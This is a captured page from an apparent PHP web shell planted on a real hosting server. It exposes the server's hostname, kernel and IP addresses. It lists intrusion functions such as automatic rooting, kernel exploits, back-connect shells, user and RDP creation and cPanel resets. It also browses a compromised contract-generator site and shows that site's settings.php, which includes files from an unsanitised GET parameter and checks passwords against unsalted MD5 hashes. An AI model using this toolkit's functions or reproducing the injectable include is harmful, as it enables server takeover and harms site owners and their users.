Linux host40.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
: 68.65.120.213 | : 216.73.216.131
Cant Read [ /etc/named.conf ]
7.4.33
trade
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
trade /
contract.tradesense.co.ke /
[ HOME SHELL ]
Name
Size
Permission
Action
Majestic_Document_Generator
[ DIR ]
drwxr-xr-x
cgi-bin
[ DIR ]
drwxr-xr-x
inc
[ DIR ]
drwxr-xr-x
install
[ DIR ]
drwxr-xr-x
style
[ DIR ]
drwxr-xr-x
upload
[ DIR ]
drwxr-xr-x
.gitignore
8
B
-rw-r--r--
LICENSE
1.07
KB
-rw-r--r--
Majestic_Document_Generator.zi...
4.8
MB
-rw-r--r--
archivex8LBD.tar.gz
14.31
MB
-rw-r--r--
auth.php
3.04
KB
-rw-r--r--
contract
4.8
MB
-rw-r--r--
documents.php
6.21
KB
-rw-r--r--
error_log
1.1
MB
-rw-r--r--
help.php
1.92
KB
-rw-r--r--
index.php
3.02
KB
-rw-r--r--
recent.php
3.88
KB
-rw-r--r--
settings.php
3.46
KB
-rw-r--r--
userdetails.php
786
B
-rw-r--r--
users.php
3.75
KB
-rw-r--r--
view.php
318
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : settings.php
<?php include "inc/App.php"; $user->Protect(); $menu = 'settings'; $file = 'main'; if (isset($_GET['menu'])) $file = $_GET['menu']; //Update site settings if (isset($_POST['save_settings'])) { $post = $form->get_post_data(array('site_title', 'enable_pdf', 'enable_docx', 'enable_html', 'user_documents', 'email_from_email', 'email_from_name')); foreach ($post as $tag => $val) { if (property_exists($cfg, $tag)) { $db->update(array('value' => $val), 'config', array('name' => $tag)); } else { $db->insert(array('value' => $val, 'name' => $tag), 'config'); } } $error['type'] = 'success'; $error['message'] = "<strong>Success!</strong> The settings were updated!"; $cfg = $db->getConfig(); $activity->add('Updated site settings'); } //Update account information if (isset($_POST['update_acc_info'])) { $post = $form->get_post_data(array('name', 'surname', 'email')); $db->update($post, 'users', array('id' => $user->userinfo->id)); $user->refreshUserInfo(); $error['type'] = 'success'; $error['message'] = "<strong>Success!</strong> Account information updated"; } //Update account information if (isset($_POST['update_password'])) { $post = $form->get_post_data(array('old_pass', 'old_pass_r', 'new_pass')); if ($post['old_pass'] != $post['old_pass_r']) { $eroare = "Passwords do not match!"; } if (md5($post['old_pass']) != $user->userinfo->password) { $eroare = "Incorrect old password"; } if (!$post['new_pass']) { $eroare = "New password cannot be blank!"; } if ($eroare) { $error['type'] = 'error'; $error['message'] = "<strong>Error!</strong> " . $eroare; } else { #$db->update($post,'users',array('id'=>$user->userinfo->id)); $user->setNewPassword($post['new_pass']); $error['type'] = 'success'; $error['message'] = "<strong>Success!</strong> Account information updated"; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1.0"/> <title>Settings · <?php echo $cfg->site_title ?></title> <!-- CSS --> <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"> <link href="style/css/materialize.css" type="text/css" rel="stylesheet" media="screen,projection"/> <link href="style/css/style.css" type="text/css" rel="stylesheet" media="screen,projection"/> <link href="style/css/dataTables.bootstrap.css" type="text/css" media="screen, projection" rel="stylesheet"/> <!-- Scripts--> <script src="https://code.jquery.com/jquery-2.1.1.min.js"></script> <script src="style/js/materialize.js"></script> <script src="style/js/init.js"></script> <link rel="icon" type="image/png" href="https://makmende.com/profile.jpg"/> </head> <body> <?php include "inc/commons/header.php"; ?> <main> <div class="card-panel blue-grey darken-4"> <span class="white-text text-darken-2"><h5><i class="material-icons">settings</i> <span id='pageTitle'>Settings</span></h5></span> </div> <?php include "inc/commons/messages.php"; ?> <div class="container" id='big'> <?php include "inc/views/settings/" . $file . ".php"; ?> </div> </main> </body> </html>
Close